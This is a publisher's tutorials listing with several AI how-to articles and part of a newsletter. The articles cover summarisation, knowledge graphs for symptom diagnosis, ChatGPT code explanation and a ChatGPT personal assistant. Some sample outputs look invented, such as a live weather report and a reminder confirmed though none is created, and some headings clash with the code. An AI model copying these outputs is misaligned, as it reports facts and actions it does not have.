Search icon CANCEL
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon

How-To Tutorials

7018 Articles
article-image-llms-for-extractive-summarization-in-nlp
Mostafa Ibrahim
20 Nov 2023
7 min read
Save for later

LLMs For Extractive Summarization in NLP

Mostafa Ibrahim
20 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!SourceIntroductionIn today's era, filtering out vital information from the overwhelming volume of data has become crucial. As we navigate vast amounts of information, the significance of adept text summarization becomes clear. This process not only conserves our time but also optimizes the use of resources, ensuring we focus on what truly matters.                                                                                                              SourceIn this article, we will delve into the intricacies of text summarization, particularly focusing on the role of Large Language Models (LLMs) in the process. We'll explore their foundational principles, their capabilities in extractive summarization, and the advanced techniques they deploy. Moreover, we'll shed light on the challenges they face and the innovative solutions proposed to overcome them. Without further ado let’s dive in!What are LLMs?LLMs, standing for Large Language Models, are intricate computational structures designed for the detailed analysis and understanding of text. They fall under the realm of Natural Language Processing, a domain dedicated to enabling machines to interpret human language. One of the distinguishing features of LLMs is their vast scale, equipped with an abundance of parameters that facilitate the storage of extensive linguistic data. In the context of summarization, two primary techniques emerge: extractive and abstractive. Extractive summarization involves selecting pertinent sentences or phrases directly from the source material, whereas abstractive summarization synthesizes new sentences that encapsulate the core message in a more condensed manner. With their advanced linguistic comprehension, LLMs are instrumental in both methods, but their proficiency in extractive summarization is notably prominent.Why Utilize LLMs for Extractive Summarization?Extractive summarization entails selecting crucial sentences or phrases from a source document to compose a concise summary. Achieving this demands an intricate and thorough grasp of the document's content, especially when it pertains to extensive and multifaceted texts.The expansive architecture of LLMs, including state-of-the-art models like ChatGPT, grants them the capability to process and analyze substantial volumes of text, surpassing the limitations of smaller models like BERT which can handle only 512 tokens. This considerable size and intricate design allow LLMs to produce richer and more detailed representations of content.LLMs excel not only in recognizing the overt details but also in discerning the implicit or subtle nuances embedded within a text. Given their profound understanding, LLMs are uniquely positioned to identify and highlight the sentences or phrases that truly encapsulate the essence of any content, making them indispensable tools for high-quality extractive summarization.Techniques and Approaches with LLMsWithin the realm of Natural Language Processing (NLP), the deployment of specific techniques to distill vast texts into concise summaries is of paramount importance. One such technique is sentence scoring. In this method, each sentence in a document is assigned a quantitative value, representing its relevance and importance. LLMs, owing to their extensive architectures, can be meticulously fine-tuned to carry out this scoring with high precision, ensuring that only the most pertinent content is selected for summarization.Next, we turn our attention to the attention visualization in LLMs. This technique provides a graphical representation of the segments of text to which the model allocates the most significance during processing. For extractive summarization, this visualization serves as a crucial tool, as it offers insights into which sections of the text the model deems most relevant.Lastly, the integration of hierarchical models enhances the capabilities of LLMs further. These models approach texts in a structured manner, segmenting them into defined chunks before processing each segment for summarization. The inherent capability of LLMs to process lengthy sequences means they can operate efficiently at both the segmentation and the summarization stages, ensuring a comprehensive analysis of extended documents.Practical Implementation of Extractive Summarization Using LLMsIn this section, we offer a hands-on experience by providing a sample code snippet that utilizes a pre-trained Large Language Model known as bert for text summarization. In order to specify extractive summarization we will be using the bert-extractive-summarizer package, which is an extension of the Hugging Face Transformers library. This package provides a simple way to use BERT for extractive summarization.Step 1: Install and Import Nesseccary Libraries!pip install bert-extractive-summarizer from summarizer import SummarizerStep 2: Load the Extractive Bert Summarization ModelIn our case, the LLM of choice is the t5 large model.model = Summarizer()Step 3:  Create a Sample Text to Summarizetext = """Climate change represents one of the most significant challenges facing the world today. It is characterized by changes in weather patterns, rising global temperatures, and increasing levels of greenhouse gases in the atmosphere. The impact of climate change is far-reaching, affecting ecosystems, biodiversity, and human societies across the globe. Scientists warn that immediate action is necessary to mitigate the most severe consequences of this global phenomenon. Strategies to address climate change include reducing carbon emissions, transitioning to renewable energy sources, and conserving natural habitats. International cooperation is crucial, as the effects of climate change transcend national borders, requiring a unified global response. The Paris Agreement, signed by 196 parties at the COP 21 in Paris on 12 December 2015, is one of the most comprehensive international efforts to combat climate change, aiming to limit global warming to well below 2 degrees Celsius."""Step 4: Performing Extractive SummarizationIn this step, we'll be performing extractive summarization, explicitly instructing the model to generate a summary consisting of the two sentences deemed most significant.summary = model(text, num_sentences=2)  # You can specify the number of sentences in the summary print("Extractive Summary:") print(summary)Output for Extractive Summary: Climate change represents one of the most significant challenges facing the world today. The impact of climate change is far-reaching, affecting ecosystems, biodiversity, and human societies across the globe.Challenges and Overcoming ThemThe journey of extractive summarization using LLMs is not without its bumps. A significant challenge is redundancy. Extractive models, in their quest to capture important sentences, might pick multiple sentences conveying similar information, leading to repetitive summaries.Then there's the issue of coherency. Unlike abstractive summarization, where models generate summaries, extractive methods merely extract. The outcome might not always flow logically, hindering a reader's understanding and detracting from the quality.To combat these challenges, refined training methods can be employed. Training data can be curated to include diverse sentence structures and content, pushing the model to discern nuances and reduce redundancy. Additionally, reinforcement learning techniques can be integrated, where the model is rewarded for producing non-redundant, coherent summaries and penalized for the opposite. Over time, through continuous feedback and iterative training, LLMs can be fine-tuned to generate crisp, non-redundant, and coherent extractive summaries.ConclusionIn conclusion, the realm of text summarization, enhanced by the capabilities of Large Language Models (LLMs), presents a dynamic and evolving landscape. Throughout this article, we've journeyed through the foundational aspects of LLMs, their prowess in extractive summarization, and the methodologies and techniques they adopt.While challenges persist, the continuous advancements in the field promise innovative solutions on the horizon. As we move forward, the relationship between LLMs and text summarization will undoubtedly shape the future of how we process and understand vast data volumes efficiently.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 507

article-image-large-language-models-llms-and-knowledge-graphs
Mostafa Ibrahim
15 Nov 2023
7 min read
Save for later

Large Language Models (LLMs) and Knowledge Graphs

Mostafa Ibrahim
15 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHarnessing the power of AI, this article explores how Large Language Models (LLMs) like OpenAI's GPT can analyze data from Knowledge Graphs to revolutionize data interpretation, particularly in healthcare. We'll illustrate a use case where an LLM assesses patient symptoms from a Knowledge Graph to suggest diagnoses, showcasing LLM’s potential to support medical diagnostics with precision.Brief Introduction Into Large Language Models (LLMs)Large Language Models (LLMs), such as OpenAI's GPT series, represent a significant advancement in the field of artificial intelligence. These models are trained on vast datasets of text, enabling them to understand and generate human-like language.LLMs are adept at understanding complex questions and providing appropriate responses, akin to human analysis. This capability stems from their extensive training on diverse datasets, allowing them to interpret context and generate relevant text-based answers.While LLMs possess advanced data processing capabilities, their effectiveness is often limited by the static nature of their training data. Knowledge Graphs step in to fill this gap, offering a dynamic and continuously updated source of information. This integration not only equips LLMs with the latest data, enhancing the accuracy and relevance of their output but also empowers them to solve more complex problems with a greater level of sophistication. As we harness this powerful combination, we pave the way for innovative solutions across various sectors that demand real-time intelligence, such as the ever-fluctuating stock market.Exploring Knowledge Graphs and How LLMs Can Benefit From ThemKnowledge Graphs represent a pivotal advancement in organizing and utilizing data, especially in enhancing the capabilities of Large Language Models (LLMs).Knowledge Graphs organize data in a graph format, where entities (like people, places, and things) are nodes, and the relationships between them are edges. This structure allows for a more nuanced representation of data and its interconnected nature. Take the above Knowledge Graph as an example.Doctor Node: This node represents the doctor. It is connected to the patient node with an edge labeled "Patient," indicating the doctor-patient relationship.Patient Node (Patient123): This is the central node representing a specific patient, known as "Patient123." It serves as a junction point connecting to various symptoms that the patient is experiencing.Symptom Nodes: There are three separate nodes representing individual symptoms that the patient has: "Fever," "Cough," and "Shortness of breath." Each of these symptoms is connected to the patient node by edges labeled "Symptom," indicating that these are the symptoms experienced by "Patient123.          To simplify, the Knowledge Graph shows that "Patient123" is a patient of the "Doctor" and is experiencing three symptoms: fever, cough, and shortness of breath. This type of graph is useful in medical contexts where it's essential to model the relationships between patients, their healthcare providers, and their medical conditions or symptoms. It allows for easy querying of related data—for example, finding all symptoms associated with a particular patient or identifying all patients experiencing a certain symptom.Practical Integration of LLMs and Knowledge GraphsStep 1: Installing and Importing the Necessary LibrariesIn this step, we're going to bring in two essential libraries: rdflib for constructing our Knowledge Graph and openai for tapping into the capabilities of GPT, the Large Language Model.!pip install rdflib !pip install openai==0.28 import rdflib import openaiStep 2: Import your Personal OPENAI API KEYopenai.api_key = "Insert Your Personal OpenAI API Key Here"Step 3: Creating a Knowledge Graph# Create a new and empty Knowledge graph g = rdflib.Graph() # Define a Namespace for health-related data namespace = rdflib.Namespace("http://example.org/health/")Step 4: Adding data to Our GraphIn this part of the code, we will introduce a single entry to the Knowledge Graph pertaining to patient124. This entry will consist of three distinct nodes, each representing a different symptom exhibited by the patient.def add_patient_data(patient_id, symptoms):    patient_uri = rdflib.URIRef(patient_id)      for symptom in symptoms:        symptom_predicate = namespace.hasSymptom        g.add((patient_uri, symptom_predicate, rdflib.Literal(symptom))) # Example of adding patient data add_patient_data("Patient123", ["fever", "cough", "shortness of breath"])Step 5: Identifying the get_stock_price functionWe will utilize a simple query in order to extract the required data from the knowledge graph.def get_patient_symptoms(patient_id):    # Correctly reference the patient's URI in the SPARQL query    patient_uri = rdflib.URIRef(patient_id)    sparql_query = f"""        PREFIX ex: <http://example.org/health/>        SELECT ?symptom        WHERE {{            <{patient_uri}> ex:hasSymptom ?symptom.        }}    """    query_result = g.query(sparql_query)    symptoms = [str(row.symptom) for row in query_result]    return symptomsStep 6: Identifying the generate_llm_response functionThe generate_daignosis_response function takes as input the user’s name along with the list of symptoms extracted from the graph. Moving on, the LLM uses such data in order to give the patient the most appropriate diagnosis.def generate_diagnosis_response(patient_id, symptoms):    symptoms_list = ", ".join(symptoms)    prompt = f"A patient with the following symptoms - {symptoms_list} - has been observed. Based on these symptoms, what could be a potential diagnosis?"      # Placeholder for LLM response (use the actual OpenAI API)    llm_response = openai.Completion.create(        model="text-davinci-003",        prompt=prompt,        max_tokens=100    )    return llm_response.choices[0].text.strip() # Example usage patient_id = "Patient123" symptoms = get_patient_symptoms(patient_id) if symptoms:    diagnosis = generate_diagnosis_response(patient_id, symptoms)    print(diagnosis) else:    print(f"No symptoms found for {patient_id}.")Output: The potential diagnosis could be pneumonia. Pneumonia is a type of respiratory infection that causes symptoms including fever, cough, and shortness of breath. Other potential diagnoses should be considered as well and should be discussed with a medical professional.As demonstrated, the LLM connected the three symptoms—fever, cough, and shortness of breath—to suggest that patient123 may potentially be diagnosed with pneumonia.ConclusionIn summary, the collaboration of Large Language Models and Knowledge Graphs presents a substantial advancement in the realm of data analysis. This article has provided a straightforward illustration of their potential when working in tandem, with LLMs to efficiently extract and interpret data from Knowledge Graphs.As we further develop and refine these technologies, we hold the promise of significantly improving analytical capabilities and informing more sophisticated decision-making in an increasingly data-driven world.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 254

article-image-decoding-complex-code-with-chatgpt
Dan MacLean
14 Nov 2023
7 min read
Save for later

Decoding Complex Code with ChatGPT

Dan MacLean
14 Nov 2023
7 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, R Bioinformatics Cookbook - Second Edition, by Dan MacLean. Discover over 80 recipes for modeling and handling real-life biological data using modern libraries from the R ecosystem.IntroductionHey there, fellow code explorers! Ever found yourself staring at a chunk of complex R code, feeling lost in its jumble of symbols and functions? Well, fear not! This article dives into the exciting realm of decoding such cryptic code with the help of an unexpected ally: ChatGPT. Join me on this journey as we uncover the secrets behind intricate code snippets, aiming to demystify and explain them in plain, everyday language.Interpreting complicated code with ChatGPT assistanceChatGPT can be used to interpret R code by leveraging its natural language processing capabilities and its understanding of the R programming language. It’s important to note that while ChatGPT can assist in interpreting and explaining R code, it’s still just an AI language model and may not have knowledge of the most recent updates or specific domain-specific intricacies. Double-checking information with official documentation and consulting experienced developers or experts is always necessary. It is massively useful for simplifying and getting a good first-level understanding in most cases.In this recipe, we’ll look at how to take an arbitrary bit of complex code and explain it in plain English.Getting readyWe need some code to interpret – we’ll use a function from the besthr Github-hosted package at https://github.com/TeamMacLean/besthr/blob/master/R/functions.R and an account with ChatGPT from https://chat.openai.com/.How to do it…Here’s how to work in a ChatGPT session and get it to explain some code to you:1. Paste the following code into the ChatGPT prompt box:explain this R code to me: #' Convert named columns to factors #' #' \code{factorise_cols} returns a copy of the passed data frame in which all #' explicitly named columns are converted to factors with \ code{as.factor} #' All columns with only NA values are ommitted. #' #' @param df data frame #' @param col_list vector of quoted column names #' @keywords internal #' factorise_cols <- function(df, col_list ){ not_all_na <- function(x) any(!is.na(x)) for ( i in col_list){ df <- df %>% dplyr::mutate(!!(i) := as.factor(!!(i)) ) } df %>% dplyr::select_if(not_all_na) }2. Read the response:This R code defines a function called `factorise_cols` that converts explicitly named columns of a data frame into factors using the `as.factor` function. The function takes two parameters: 1. `df`: This is the data frame that contains the columns to be converted. 2. `col_list`: This is a vector of quoted column names. It specifies which columns in the data frame should be converted to factors. The function uses a helper function called `not_all_na` to filter out columns that have only `NA` values. This helper function checks if there are any non-NA values in a column using the `any` and `is.na` functions. Inside the main function, a loop iterates over each column name in the `col_list`. For each column, the function uses the `mutate` function from the `dplyr` package to create a new column in the data frame (`df`) with the same name, but with the values converted to factors using the `as.factor` function. The `!!(i)` syntax is used to unquote the column name. After the loop, the function uses the `select_if` function from `dplyr` to select only the columns that pass the `not_all_na` condition, effectively removing columns that contain only `NA` values. The resulting data frame is then returned as the output of the function. Overall, this function allows you to convert specific columns of a data frame into factors while excluding columns that contain only `NA` values. 3. Ask for a clarification on a certain point:You said 'The !!(i) syntax is used to unquote the column name.' Can you go into more depth?4. Read the response:Certainly! In the given code, the `!!` (bang-bang) syntax is used for unquoting the column name within the context of the `mutate` function. Let's break it down step by step: 1. In the loop, the variable `i` represents each element (column name) of the `col_list` vector. 2. Within the `mutate` function, the column name `i` needs to be unquoted and evaluated as an expression. This is necessary because `mutate` expects column names to be provided as expressions rather than strings. 3. The `!!` (bang-bang) operator is used to perform this unquoting. It is part of the tidy evaluation framework provided by the `dplyr` package. 4. By wrapping `i` with `!!`, it instructs `mutate` to evaluate `i` as an expression, resulting in an unquoted column name. Interpreting complicated code with ChatGPT assistance To illustrate with an example, suppose `col_list` contains the column names `col1` and `col2`. During the loop iteration, when `i` is `"col1"`, the line `!!(i)` would be evaluated as `!!("col1")`, which unquotes the string to yield `col1`. Similarly, when `i` is `"col2"`, `!!(i)` would be evaluated as `!!("col2")`, resulting in `col2`. This unquoting operation is necessary in this context because the `mutate` function expects column names to be provided as unevaluated expressions so that it can perform the necessary data manipulation operations. The `!!` operator allows us to achieve this unquoting within the `mutate` function call.Note that the response from ChatGPT will be somewhat different depending on context and you may not get exactly what was generated here. That is the nature of the thing, but you should get something with the same meaning.How it works…The code in this example comes from a package called besthr that creates estimation statistic plots for visual scoring data. The tool must take in arbitrary column names and work within the tidyverse, so it uses some advanced coding techniques to allow that to happen. We first go and get the codefrom the repository on GitHub (https://github.com/TeamMacLean/besthr/blob/ master/R/functions.R) and paste that into ChatGPT’s prompt box asking it for an explanation.In step 2, we can see the explanation provided (note that the one you get if you try may be different as the model is not guaranteed to reproduce its predictions). The detail is largely correct; certainly, it is sufficient to give us a clear idea of what the code attempts to do and how it does it.Some parts of the explanation aren’t clear, so in step 3, we ask for clarification of a tricky bit, again by typing into the prompt box. And in step 4, we see a more in-depth description of that part.In this way, we can get a clear and readable, plain English description of the job done by a particular piece of code very quickly.There’s more…Other sites can do this, such as Google’s Bard. ChatGPT Plus – a subscription service –also has special plug-ins that help make working with code much easier..ConclusionWho knew cracking code could be this fun and straightforward? With ChatGPT as our trusty sidekick, we've peeked behind the curtains of intricate R code, unraveling its mysteries piece by piece. Remember, while this AI wizardry is fantastic, a mix of human expertise and official documentation remains your ultimate guide through the coding labyrinth. So, armed with newfound knowledge and a reliable AI companion, let's keep exploring, learning, and demystifying the captivating world of programming together!Author BioProfessor Dan MacLean has a Ph.D. in molecular biology from the University of Cambridge and gained postdoctoral experience in genomics and bioinformatics at Stanford University in California. Dan is now Head of Bioinformatics at the world leading Sainsbury Laboratory in Norwich, UK where he works on bioinformatics, genomics, and machine learning. He teaches undergraduates, post-graduates, and post-doctoral students in data science and computational biology. His research group has developed numerous new methods and software in R, Python, and other languages with over 100,000 downloads combined.
Read more
  • 0
  • 0
  • 215

article-image-build-virtual-personal-assistants-using-chatgpt
Sangita Mahala
13 Nov 2023
6 min read
Save for later

Build Virtual Personal Assistants Using ChatGPT

Sangita Mahala
13 Nov 2023
6 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionVirtual Personal Assistants are emerging as an important aspect of the rapidly developing Artificial Intelligence landscape. These intelligent, Artificial Intelligence assistants are capable of carrying out a wide range of tasks such as answering questions and providing advice on how to make process more efficient.You're more easily getting your personal assistant built using the ChatGPT service from OpenAI. We'll explore the creation of virtual personal assistants using ChatGPT, complete with hands-on code examples and projected outputs in this advanced guide. Use ChatGPT, the world's most advanced language model created by OpenAI to create a virtual assistant that you can use.Prerequisites before we startThere are certain prerequisites that need to be met before we embark on this journey:OpenAI API Key: You must have an API key from OpenAI if you want to use ChatGPT. You'll be able to get one if you sign up at OpenAI.Python and Jupyter Notebooks: To provide more interactive learning of the development process, it is recommended that you install Python on your machine.OpenAI Python Library: To use ChatGPT, you will first need to download the OpenAI Python library. Using pip, you can install the following:pip install openaiGoogle Cloud Services (optional): If you plan to integrate with voice recognition and text-to-speech services, such as Google Cloud Speech-to-Text and Text-to-Speech, you'll need access to Google Cloud services.Building a Virtual Personal AssistantLet's have a look at the following steps for creating a Virtual Personal Assistant with ChatGPT1. Set up the environmentTo begin, we shall import the required libraries and set up an API key.import openai openai.api_key = "YOUR_OPENAI_API_KEY"2. Basic Text-Based InteractionWe're going to build an easy interaction based on text with our assistant. We will ask ChatGPT a question, and we shall receive an answer.Input code:def chat_with_gpt(prompt):    response = openai.Completion.create(        engine="davinci-codex",        prompt=prompt,        max_tokens=50  # Adjust as needed    )    return response.choices[0].text # Interact with the assistant user_input = input("You: ") response = chat_with_gpt(f"You: {user_input}\nAssistant:") print(f"Assistant: {response}")Output:You: What's the weather like today? Assistant: The weather today is sunny with a high of 25°C and a low of 15°C.We used ‘chat_with_gpt’, for interacting with ChatGPT to generate responses from user input. Users can input questions or comments and the function will send a request to ChatGPT. In the output, the assistant's answer is shown in a conversational format.Example 1: Language TranslationBy making it a language translation tool, we can improve the assistant's abilities. Users can type a word in one language and an assistant will translate it to another.Input Code:def translate_text(input_text, target_language="fr"):    response = chat_with_gpt(f"Translate the following text from English to {target_language}: {input_text}")    return response # Interact with the translation feature user_input = input("Enter the text to translate: ") target_language = input("Translate to (e.g., 'fr' for French): ") translation = translate_text(user_input, target_language) print(f"Translation: {translation}")Output:Enter the text to translate: Hello, how are you? Translate to (e.g., 'fr' for French): fr Translation: Bonjour, comment ça va?To translate English text to the target language using ChatGPT, we are defining a function, ‘translate_text’. Users input text and the target language, which is returned in translation by this function. It uses the ability of ChatGPT to process natural languages in order to carry out accurate translation.Example 2: Code GenerationThe creation of code fragments may also be assisted by our virtual assistant. It is especially useful for developers and programmers who want to quickly solve code problems.Input Code:def generate_code(question):    response = chat_with_gpt(f"Generate Python code to: {question}")    return response # Interact with the code generation feature user_input = input("You: ") generated_code = generate_code(user_input) print("Generated Python Code:") print(generated_code)Output:You: Create a function to calculate the factorial of a number. Generated Python Code: def calculate_factorial(n):    if n == 0:        return 1    else:        return n * calculate_factorial(n - 1)The user provides a question and the function sends a request to ChatGPT to generate code to answer it. In the output, a Python code is displayed.Example 3: Setting RemindersIt's even possible to make use of our Virtual Assistant as an organizer. A reminder of tasks or events can be set by users, which will be handled by an assistant.Input code:def set_reminder(task, time):    response = chat_with_gpt(f"Set a reminder: {task} at {time}.")    return response # Interact with the reminder feature task = input("Task: ") time = input("Time (e.g., 3:00 PM): ") reminder_response = set_reminder(task, time) print(f"Assistant: {reminder_response}")Output:Task: Meeting with the client Time (e.g., 3:00 PM): 2:30 PM Assistant: Reminder set: Meeting with the client at 2:30 PM.The code defines a function, ‘set_reminder’, which can be used to generate reminders based on the task and time. Users input their tasks and time, and the function requests a reminder to be sent to ChatGPT. The output will be printed with the assistant's answer and confirmation of this reminder.ConclusionIn conclusion, we got to know the evolution of Virtual Personal Assistant using ChatGPT throughout this advanced guide. We've started with a basic text-based interaction, followed by three advanced examples: language translation, code generation, and setting reminders. There is no limit to the potential of Virtual Personal Assistants.Integrating your assistant into various APIs, enhancing the ability to understand languages and making it useful for a variety of tasks will allow you to further expand its capabilities. Creating a tailored virtual assistant is now even easier to create and adapted to your individual needs, given the advancement of AI technologies.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 829

article-image-ai-distilled-25-openais-gpt-store-and-gpt-4-turbo-xais-grok-stability-ais-3d-model-generator-microsofts-phi-15-gen-ai-powered-vector-search-apps
Merlyn Shelley
10 Nov 2023
12 min read
Save for later

AI_Distilled #25: OpenAI’s GPT Store and GPT-4 Turbo, xAI’s Grok, Stability AI’s 3D Model Generator, Microsoft’s Phi 1.5, Gen AI-Powered Vector Search Apps

Merlyn Shelley
10 Nov 2023
12 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!The AI Product Manager's Handbook ($35.99 Value) FREE for a limited time! Gain expertise as an AI product manager to effectively oversee the design, development and deployment of AI products. Master the skills needed to bring tangible value to your organization through successful AI implementation.Seize this exclusive opportunity and grab your copy now before it slips away on November 16th!  👋 Hello ,Step into another edition of AI_Distilled, brimming with updates in AI/ML, LLMs, NLP, GPT, and Gen AI. Our aim is to help you enhance your AI skills and stay abreast of the ever-evolving trends in this domain. Let’s get started with our news and analysis with an industry expert’s opinion. “Unfortunately, we have biases that live in our data, and if we don’t acknowledge that and if we don’t take specific actions to address it then we’re just going to continue to perpetuate them or even make them worse.” - Kathy Baxter, Responsible AI Architect, Salesforce. Baxter made an important point, for data underlies ML models, and errors will simply result in a domino effect that can have drastic consequences. Equally important is how AI handles data privacy, especially when you consider how apps like ChatGPT have now crossed 100 million weekly users. The Apple CEO recently hinted at major investments in responsible AI, which will likely transform smart handheld devices in 2024 with major AI upgrades. In this issue, we’ll talk about OpenAI unveiling major upgrades and features including GPT-4 Turbo model and DALL-E 3 API, Microsoft’s new breakthrough with smaller AI model, Elon Musk unveiling xAI’s "Grok" competing with GPT, and OpenAI launching the GPT Store for user-created custom AI models. We’ve also got you your fresh dose of AI secret knowledge and tutorials on unlocking zero-shot adaptive prompting for LLMs, creating a Python chat web app with OpenAI's API and Reflex, and 9 open source tools to boost your AI app. 📥 Feedback on the Weekly EditionWhat do you think of this issue and our newsletter?Please consider taking the short survey below to share your thoughts and you will get a free PDF of the “The Applied Artificial Intelligence Workshop” eBook upon completion. Complete the Survey. Get a Packt eBook for Free!Writer’s Credit: Special shout-out to Vidhu Jain for their valuable contribution to this week’s newsletter content!  Cheers,  Merlyn Shelley  Editor-in-Chief, Packt  Ready to level up your coding game?  🚀 Dive into the Software Supply Chain Security Survey and let's talk vulnerabilities, security practices, and all things code!  🤓 Share your insights and stand a chance to snag some epic prizes, including the coveted MX Master 3S, Raspberry Pi 4 Model B 4GB, $5 Udemy gift credits, and more!  🌟 Your code-savvy opinions could be your ticket to tech greatness.  Don't miss out—join the conversation now! 👩‍💻  Interested? Tell us what you think! SignUp | Advertise | Archives⚡ TechWave: AI/GPT News & Analysis🔹 OpenAI Unveils Major Upgrades and Features Including GPT-4 Turbo Model, DALL-E 3 API, Crosses 100 million Weekly Users: At its DevDay event, OpenAI announced significant new capabilities and lower pricing for its AI platform. This includes a more advanced GPT-4 Turbo model with 128K context size and multimodal abilities. OpenAI also released new developer products like the Assistants API and DALL-E 3 integration. Additional updates include upgraded models, customization options, expanded rate limits, and the Copyright Shield protection. Together these represent major progress in features, accessibility and affordability. ChatGPT also achieved 100 million weekly users and over two million developers, marking a significant milestone in its growth.  🔹 Stability AI Launches AI-Powered 3D Model Generator: Stability AI debuts Stable 3D, empowering non-experts to craft 3D models through simple descriptions or image uploads. The tool generates editable .obj files, marking the company's entry into the AI-driven 3D modeling landscape. Questions about training data origin and prior copyright controversies arise, highlighting a strategic move amid financial struggles. 🔹 Apple CEO Hints at Generative AI Plans: Apple CEO Tim Cook hinted at significant investments in generative AI during the recent earnings call. While specifics were not disclosed, Cook emphasized responsible deployment over time. Apple's existing AI in iOS and Apple Watch showcases its commitment, with rumors suggesting major AI updates in 2024, solidifying Apple's leadership in the space. 🔹 Microsoft Unveils Breakthrough with Smaller AI Model: Microsoft researchers revealed a major new capability added to their small AI model Phi 1.5. It can now interpret images, a skill previously limited to much larger models like OpenAI's ChatGPT. Phi 1.5 has only 1.3 billion parameters compared to GPT-4's 1.7 trillion, making it exponentially more efficient. This shows less expensive AI can mimic bigger models. Smaller models need less computing power, saving costs and emissions. Microsoft sees small and large models as complementary, optimizing tasks between them. The breakthrough signals wider access to advanced AI as smaller models spread.🔹 OpenAI Unveils GPT Store for User-Created Custom AI Models: OpenAI introduces GPTs, allowing users to build custom versions of ChatGPT for specific purposes with no coding experience required, opening up the AI marketplace. These GPTs can range from simple tasks like recipe assistance to complex ones such as coding or answering specific questions. The GPT Store will soon host these creations, enabling users to publish and potentially monetize them, mirroring the App Store model's success. OpenAI aims to pay creators based on their GPTs' usage, encouraging innovation. However, this move may create challenges in dealing with industry giants like Apple and Microsoft, who have their app models and platforms. 🔹 Elon Musk Drops xAI's Game-Changer: Meet Grok, the LLM with Real-Time Data, Efficiency, and a Dash of Humor! Named after the slang term for "understanding," Grok is intended to compete with AI models like OpenAI's GPT. It's currently available to a limited number of users in the United States through a waitlist on xAI's website. Grok is designed with impressive efficiency, utilizing half the training resources of comparable models. It brings humor and wit to AI interactions, aligning with Musk's goal of creating a "maximum truth-seeking AI." ***************************************************************************************************************************************************************🔮 Expert Insights from Packt Community Machine Learning with PyTorch and Scikit-Learn - By Sebastian Raschka, Yuxi (Hayden) Liu, Vahid Mirjalili Solving interactive problems with reinforcement learning Another type of machine learning is reinforcement learning. In reinforcement learning, the goal is to develop a system (agent) that improves its performance based on interactions with the environment. Since the information about the current state of the environment typically also includes a so-called reward signal, we can think of reinforcement learning as a field related to supervised learning. However, in reinforcement learning, this feedback is not the correct ground truth label or value, but a measure of how well the action was measured by a reward function. Through its interaction with the environment, an agent can then use reinforcement learning to learn a series of actions that maximizes this reward via an exploratory trial-and-error approach or deliberative planning. Discovering hidden structures with unsupervised learning In supervised learning, we know the right answer (the label or target variable) beforehand when we train a model, and in reinforcement learning, we define a measure of reward for particular actions carried out by the agent. In unsupervised learning, however, we are dealing with unlabeled data or data of an unknown structure. Using unsupervised learning techniques, we are able to explore the structure of our data to extract meaningful information without the guidance of a known outcome variable or reward function. Finding subgroups with clustering Clustering is an exploratory data analysis or pattern discovery technique that allows us to organize a pile of information into meaningful subgroups (clusters) without having any prior knowledge of their group memberships. Each cluster that arises during the analysis defines a group of objects that share a certain degree of similarity but are more dissimilar to objects in other clusters, which is why clustering is also sometimes called unsupervised classification. Clustering is a great technique for structuring information and deriving meaningful relationships from data. For example, it allows marketers to discover customer groups based on their interests, in order to develop distinct marketing programs. Dimensionality reduction for data compression Another subfield of unsupervised learning is dimensionality reduction. Often, we are working with data of high dimensionality—each observation comes with a high number of measurements—that can present a challenge for limited storage space and the computational performance of machine learning algorithms. Unsupervised dimensionality reduction is a commonly used approach in feature preprocessing to remove noise from data, which can degrade the predictive performance of certain algorithms. Dimensionality reduction compresses the data onto a smaller dimensional subspace while retaining most of the relevant information. This content is from the book “Machine Learning with PyTorch and Scikit-Learn” writtern by Sebastian Raschka, Yuxi (Hayden) Liu, Vahid Mirjalili (Feb 2022). Start reading a free chapter or access the entire Packt digital library free for 7 days by signing up now. To learn more, click on the button below. Read through the Chapter 1 unlocked here...  🌟 Secret Knowledge: AI/LLM Resources💡 Enhancing User Experiences with AI-PWAs in Web Development: This article explores the integration of AI and Progressive Web Applications (PWAs) to revolutionize website development. Learn how AI chatbots and generative AI, such as OpenAI's GPT-3, can personalize content and streamline coding. Discover the benefits of combining AI technology with PWAs, including improved user engagement, streamlined content generation, and enhanced scalability.  💡 Boosting Your AI App with 9 Open Source Tools: From LLM queries to chatbots and AI app quality, explore projects like LLMonitor for cost analytics and user tracking, Guidance for complex agent flows, LiteLLM for easy integration of various LLM APIs, Zep for chat history management, LangChain for building powerful AI apps, DeepEval for LLM application testing, pgVector for embedding storage and similarity search, promptfoo for testing prompts and models, and Model Fusion, a TypeScript library for AI applications. These tools can help you optimize and streamline your AI projects, improving user experiences and productivity. 💡 Creating Gen AI-Powered Vector Search Applications with Vertex AI Search: Learn how to harness the power of generative AI and vector embeddings to build user experiences and applications. Vector embeddings are a way to represent various types of data in a semantic space, enabling developers to create applications such as finding relevant information in documents, personalized product recommendations, and more. The article introduces vector search, a service within the Vertex AI Search platform, which helps developers find relevant embeddings quickly. It offers scalability, 